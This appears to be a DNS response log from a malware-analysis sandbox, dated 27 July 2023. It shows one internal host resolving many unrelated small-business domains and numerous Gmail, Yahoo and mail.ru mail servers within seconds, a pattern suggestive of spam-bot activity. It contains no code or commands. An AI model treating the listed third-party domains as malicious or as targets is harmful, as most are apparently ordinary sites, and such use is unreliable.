Jul 27, 2023 21:53:19.438549042 CEST	8.8.8.8	192.168.2.4	0x29cd	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:19.452564955 CEST	8.8.8.8	192.168.2.4	0xfe3	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:19.455760002 CEST	8.8.8.8	192.168.2.4	0x7f2e	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:19.455760002 CEST	8.8.8.8	192.168.2.4	0x7f2e	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:20.720330000 CEST	8.8.8.8	192.168.2.4	0x6a2	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.249881029 CEST	8.8.8.8	192.168.2.4	0x71fc	No error (0)	smtp.sbcglobal.yahoo.com	smtp-sbc.mail.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:22.249881029 CEST	8.8.8.8	192.168.2.4	0x71fc	No error (0)	smtp-sbc.mail.yahoo.com	smtp1.sbc.mail.am0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:22.249881029 CEST	8.8.8.8	192.168.2.4	0x71fc	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.163.170.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.249881029 CEST	8.8.8.8	192.168.2.4	0x71fc	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.218.88.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.249881029 CEST	8.8.8.8	192.168.2.4	0x71fc	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		67.195.12.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.478074074 CEST	8.8.8.8	192.168.2.4	0xfa8a	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:22.478074074 CEST	8.8.8.8	192.168.2.4	0xfa8a	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.19	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.478074074 CEST	8.8.8.8	192.168.2.4	0xfa8a	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.478074074 CEST	8.8.8.8	192.168.2.4	0xfa8a	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.69	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.478074074 CEST	8.8.8.8	192.168.2.4	0xfa8a	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.99	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:22.897135019 CEST	8.8.8.8	192.168.2.4	0x65f3	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.081578970 CEST	8.8.8.8	192.168.2.4	0x1531	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:23.127855062 CEST	8.8.8.8	192.168.2.4	0x3b02	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:23.127855062 CEST	8.8.8.8	192.168.2.4	0x3b02	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.315152884 CEST	8.8.8.8	192.168.2.4	0xd0fd	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.406066895 CEST	8.8.8.8	192.168.2.4	0x8907	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.599493980 CEST	8.8.8.8	192.168.2.4	0xc7c4	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:23.978763103 CEST	8.8.8.8	192.168.2.4	0x2c8e	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.427134037 CEST	8.8.8.8	192.168.2.4	0x289a	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.557575941 CEST	8.8.8.8	192.168.2.4	0x775a	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.589570045 CEST	8.8.8.8	192.168.2.4	0x96ea	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.589570045 CEST	8.8.8.8	192.168.2.4	0x96ea	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.589570045 CEST	8.8.8.8	192.168.2.4	0x96ea	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.786576986 CEST	8.8.8.8	192.168.2.4	0x86da	No error (0)	www.railbook.net		103.224.212.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:24.972749949 CEST	8.8.8.8	192.168.2.4	0x55a1	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:25.261228085 CEST	8.8.8.8	192.168.2.4	0xb5bf	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:25.650985003 CEST	8.8.8.8	192.168.2.4	0xd21b	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:25.650985003 CEST	8.8.8.8	192.168.2.4	0xd21b	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:25.806041002 CEST	8.8.8.8	192.168.2.4	0x5206	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:25.806041002 CEST	8.8.8.8	192.168.2.4	0x5206	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.054888964 CEST	8.8.8.8	192.168.2.4	0x1fc1	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.178921938 CEST	8.8.8.8	192.168.2.4	0x1c0d	No error (0)	www.tyrns.com		62.75.216.137	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.205387115 CEST	8.8.8.8	192.168.2.4	0xb0d5	No error (0)	www.x0c.com		104.143.9.110	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.205387115 CEST	8.8.8.8	192.168.2.4	0xb0d5	No error (0)	www.x0c.com		104.143.9.111	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.439910889 CEST	8.8.8.8	192.168.2.4	0x6e9d	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.439910889 CEST	8.8.8.8	192.168.2.4	0x6e9d	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.439910889 CEST	8.8.8.8	192.168.2.4	0x6e9d	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.605971098 CEST	8.8.8.8	192.168.2.4	0x44c4	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:26.911127090 CEST	8.8.8.8	192.168.2.4	0xe670	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.146737099 CEST	8.8.8.8	192.168.2.4	0x7d3	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:27.146737099 CEST	8.8.8.8	192.168.2.4	0x7d3	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.189136982 CEST	8.8.8.8	192.168.2.4	0x8d3	No error (0)	www.spanesi.com		5.196.166.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.191237926 CEST	8.8.8.8	192.168.2.4	0xd2	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.588207006 CEST	8.8.8.8	192.168.2.4	0x2a47	No error (0)	smtp.mail.yahoo.com	smtp.mail.global.gm0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:27.588207006 CEST	8.8.8.8	192.168.2.4	0x2a47	No error (0)	smtp.mail.global.gm0.yahoodns.net		87.248.97.36	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.717005968 CEST	8.8.8.8	192.168.2.4	0x60f5	No error (0)	www.tc17.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.717005968 CEST	8.8.8.8	192.168.2.4	0x60f5	No error (0)	www.tc17.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:27.963368893 CEST	8.8.8.8	192.168.2.4	0x401b	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:28.021367073 CEST	8.8.8.8	192.168.2.4	0x97b1	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:28.069379091 CEST	8.8.8.8	192.168.2.4	0x887c	No error (0)	www.x0c.com		104.143.9.110	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:28.069379091 CEST	8.8.8.8	192.168.2.4	0x887c	No error (0)	www.x0c.com		104.143.9.111	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:28.997384071 CEST	8.8.8.8	192.168.2.4	0x6c7b	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:29.055130005 CEST	8.8.8.8	192.168.2.4	0x3366	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:29.055130005 CEST	8.8.8.8	192.168.2.4	0x3366	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:30.235182047 CEST	8.8.8.8	192.168.2.4	0x1fe8	No error (0)	www.dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:30.235182047 CEST	8.8.8.8	192.168.2.4	0x1fe8	No error (0)	www.dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:30.645562887 CEST	8.8.8.8	192.168.2.4	0xbaf3	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:30.645612955 CEST	8.8.8.8	192.168.2.4	0x9d1d	No error (0)	www.stajum.com		162.43.120.128	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:31.736797094 CEST	8.8.8.8	192.168.2.4	0xf33a	No error (0)	smtp.mail.yahoo.com	smtp.mail.global.gm0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:31.736797094 CEST	8.8.8.8	192.168.2.4	0xf33a	No error (0)	smtp.mail.global.gm0.yahoodns.net		87.248.97.36	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.219109058 CEST	8.8.8.8	192.168.2.4	0xe319	No error (0)	sidepath.com		34.193.69.252	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.219109058 CEST	8.8.8.8	192.168.2.4	0xe319	No error (0)	sidepath.com		34.193.204.92	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.219109058 CEST	8.8.8.8	192.168.2.4	0xe319	No error (0)	sidepath.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.219109058 CEST	8.8.8.8	192.168.2.4	0xe319	No error (0)	sidepath.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.245130062 CEST	8.8.8.8	192.168.2.4	0xc8f0	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.250998020 CEST	8.8.8.8	192.168.2.4	0x4684	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.254276991 CEST	8.8.8.8	192.168.2.4	0xf7de	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.254887104 CEST	8.8.8.8	192.168.2.4	0x2872	No error (0)	doggybag.org		213.186.33.16	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.286770105 CEST	8.8.8.8	192.168.2.4	0x21d4	No error (0)	shenhgts.net		199.59.243.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.288249016 CEST	8.8.8.8	192.168.2.4	0xf86a	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.288249016 CEST	8.8.8.8	192.168.2.4	0xf86a	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.294239044 CEST	8.8.8.8	192.168.2.4	0xd8dc	No error (0)	smitko.net		31.15.12.103	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.306214094 CEST	8.8.8.8	192.168.2.4	0xf30d	No error (0)	touchfam.ca		15.197.142.173	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.306214094 CEST	8.8.8.8	192.168.2.4	0xf30d	No error (0)	touchfam.ca		3.33.152.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.306245089 CEST	8.8.8.8	192.168.2.4	0xdc51	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.306245089 CEST	8.8.8.8	192.168.2.4	0xdc51	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.327408075 CEST	8.8.8.8	192.168.2.4	0x28ea	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.330377102 CEST	8.8.8.8	192.168.2.4	0x4c02	No error (0)	x96.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.330377102 CEST	8.8.8.8	192.168.2.4	0x4c02	No error (0)	x96.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.377438068 CEST	8.8.8.8	192.168.2.4	0xa8a0	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.380620003 CEST	8.8.8.8	192.168.2.4	0x35a8	No error (0)	shittas.com		208.91.197.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.403554916 CEST	8.8.8.8	192.168.2.4	0x137c	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.427064896 CEST	8.8.8.8	192.168.2.4	0xd4db	No error (0)	vivastay.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:33.427064896 CEST	8.8.8.8	192.168.2.4	0xd4db	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:33.427064896 CEST	8.8.8.8	192.168.2.4	0xd4db	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.427064896 CEST	8.8.8.8	192.168.2.4	0xd4db	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.474412918 CEST	8.8.8.8	192.168.2.4	0x47f4	No error (0)	aiolos-sa.gr		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.474412918 CEST	8.8.8.8	192.168.2.4	0x47f4	No error (0)	aiolos-sa.gr		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.525091887 CEST	8.8.8.8	192.168.2.4	0x77c1	No error (0)	gmail-smtp-in.l.google.com		142.250.27.26	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.543375015 CEST	8.8.8.8	192.168.2.4	0xeb8a	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.547060013 CEST	8.8.8.8	192.168.2.4	0xa451	No error (0)	midap.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.547060013 CEST	8.8.8.8	192.168.2.4	0xa451	No error (0)	midap.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.547060013 CEST	8.8.8.8	192.168.2.4	0xa451	No error (0)	midap.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.547060013 CEST	8.8.8.8	192.168.2.4	0xa451	No error (0)	midap.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.575634956 CEST	8.8.8.8	192.168.2.4	0x97bb	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.593303919 CEST	8.8.8.8	192.168.2.4	0x7c3a	Name error (3)	eos-i.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.609488010 CEST	8.8.8.8	192.168.2.4	0x54a6	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.624952078 CEST	8.8.8.8	192.168.2.4	0x478f	Name error (3)	eos-i.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.669962883 CEST	8.8.8.8	192.168.2.4	0x8703	No error (0)	in1.smtp.messagingengine.com		103.168.172.216	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.669962883 CEST	8.8.8.8	192.168.2.4	0x8703	No error (0)	in1.smtp.messagingengine.com		103.168.172.219	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.669962883 CEST	8.8.8.8	192.168.2.4	0x8703	No error (0)	in1.smtp.messagingengine.com		103.168.172.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.669962883 CEST	8.8.8.8	192.168.2.4	0x8703	No error (0)	in1.smtp.messagingengine.com		103.168.172.217	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.669962883 CEST	8.8.8.8	192.168.2.4	0x8703	No error (0)	in1.smtp.messagingengine.com		103.168.172.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.669962883 CEST	8.8.8.8	192.168.2.4	0x8703	No error (0)	in1.smtp.messagingengine.com		103.168.172.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.673927069 CEST	8.8.8.8	192.168.2.4	0xbf35	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.680120945 CEST	8.8.8.8	192.168.2.4	0xa851	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.684912920 CEST	8.8.8.8	192.168.2.4	0xc9a9	No error (0)	unicus.jp		49.212.232.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.702570915 CEST	8.8.8.8	192.168.2.4	0x3763	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.714726925 CEST	8.8.8.8	192.168.2.4	0xdfb7	Name error (3)	eos-i.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.747569084 CEST	8.8.8.8	192.168.2.4	0x73a0	Name error (3)	mail7.digitalwaves.co.nz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.786655903 CEST	8.8.8.8	192.168.2.4	0x3913	No error (0)	cutchie.com		199.59.243.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.807481050 CEST	8.8.8.8	192.168.2.4	0xb221	No error (0)	assideum.com		52.219.100.19	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.807481050 CEST	8.8.8.8	192.168.2.4	0xb221	No error (0)	assideum.com		52.219.84.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.807481050 CEST	8.8.8.8	192.168.2.4	0xb221	No error (0)	assideum.com		52.219.100.115	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.807481050 CEST	8.8.8.8	192.168.2.4	0xb221	No error (0)	assideum.com		52.219.104.115	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.807481050 CEST	8.8.8.8	192.168.2.4	0xb221	No error (0)	assideum.com		52.219.92.200	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.807481050 CEST	8.8.8.8	192.168.2.4	0xb221	No error (0)	assideum.com		52.219.104.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.807481050 CEST	8.8.8.8	192.168.2.4	0xb221	No error (0)	assideum.com		52.219.103.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.807481050 CEST	8.8.8.8	192.168.2.4	0xb221	No error (0)	assideum.com		52.219.107.16	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.814477921 CEST	8.8.8.8	192.168.2.4	0xd3c5	No error (0)	alexpope.biz		76.74.184.61	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.840007067 CEST	8.8.8.8	192.168.2.4	0xf1b7	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.869254112 CEST	8.8.8.8	192.168.2.4	0xc556	No error (0)	aluminox.es		37.59.243.164	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.870965958 CEST	8.8.8.8	192.168.2.4	0x6c43	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.870965958 CEST	8.8.8.8	192.168.2.4	0x6c43	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.893697977 CEST	8.8.8.8	192.168.2.4	0x3031	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.914545059 CEST	8.8.8.8	192.168.2.4	0xc616	No error (0)	nts-web.net		49.212.235.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.922621012 CEST	8.8.8.8	192.168.2.4	0x1c26	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.927340984 CEST	8.8.8.8	192.168.2.4	0xb1f6	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.954709053 CEST	8.8.8.8	192.168.2.4	0xbe1f	No error (0)	gmail-smtp-in.l.google.com		142.250.27.26	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.963072062 CEST	8.8.8.8	192.168.2.4	0x78ad	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.964678049 CEST	8.8.8.8	192.168.2.4	0x15d	No error (0)	insia.com		82.208.6.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:33.973239899 CEST	8.8.8.8	192.168.2.4	0xcf95	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.000521898 CEST	8.8.8.8	192.168.2.4	0x1bb1	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.006598949 CEST	8.8.8.8	192.168.2.4	0xdc3f	No error (0)	dbnet.at		188.94.254.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.009572983 CEST	8.8.8.8	192.168.2.4	0x67b6	No error (0)	coxkitchensandbaths.com		205.149.134.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.023066998 CEST	8.8.8.8	192.168.2.4	0xa45	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.040513039 CEST	8.8.8.8	192.168.2.4	0x31f1	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.046127081 CEST	8.8.8.8	192.168.2.4	0x3182	No error (0)	in1.smtp.messagingengine.com		103.168.172.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.046127081 CEST	8.8.8.8	192.168.2.4	0x3182	No error (0)	in1.smtp.messagingengine.com		103.168.172.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.046127081 CEST	8.8.8.8	192.168.2.4	0x3182	No error (0)	in1.smtp.messagingengine.com		103.168.172.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.046127081 CEST	8.8.8.8	192.168.2.4	0x3182	No error (0)	in1.smtp.messagingengine.com		103.168.172.219	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.046127081 CEST	8.8.8.8	192.168.2.4	0x3182	No error (0)	in1.smtp.messagingengine.com		103.168.172.217	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.046127081 CEST	8.8.8.8	192.168.2.4	0x3182	No error (0)	in1.smtp.messagingengine.com		103.168.172.216	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.046766996 CEST	8.8.8.8	192.168.2.4	0x81d1	No error (0)	softizer.com		185.163.45.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.074352026 CEST	8.8.8.8	192.168.2.4	0xe3cb	Name error (3)	mail7.digitalwaves.co.nz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.095796108 CEST	8.8.8.8	192.168.2.4	0xb008	No error (0)	flamingorecordings.com		35.214.171.193	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.113126040 CEST	8.8.8.8	192.168.2.4	0x9723	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.113148928 CEST	8.8.8.8	192.168.2.4	0xcf36	No error (0)	oozkranj.com		212.44.102.57	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.142237902 CEST	8.8.8.8	192.168.2.4	0xd9de	No error (0)	zugseil.com		92.42.191.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.203176022 CEST	8.8.8.8	192.168.2.4	0xb9a	No error (0)	ncn.de		46.30.60.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.230501890 CEST	8.8.8.8	192.168.2.4	0x6819	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:34.242471933 CEST	8.8.8.8	192.168.2.4	0xa5bd	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.246690989 CEST	8.8.8.8	192.168.2.4	0xf6a5	No error (0)	ramkome.com		62.75.216.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.297821999 CEST	8.8.8.8	192.168.2.4	0x37e4	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.299870014 CEST	8.8.8.8	192.168.2.4	0xe325	No error (0)	deckoviny.cz		88.86.118.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.306694984 CEST	8.8.8.8	192.168.2.4	0xfb0e	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.306694984 CEST	8.8.8.8	192.168.2.4	0xfb0e	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.313657045 CEST	8.8.8.8	192.168.2.4	0xb475	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.317169905 CEST	8.8.8.8	192.168.2.4	0xcc0b	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.340780020 CEST	8.8.8.8	192.168.2.4	0xa14a	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.350893021 CEST	8.8.8.8	192.168.2.4	0x62f3	No error (0)	apcotex.com		35.154.163.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.395796061 CEST	8.8.8.8	192.168.2.4	0xd2c	No error (0)	dhh.la.gov		52.200.51.73	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.404508114 CEST	8.8.8.8	192.168.2.4	0x823f	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
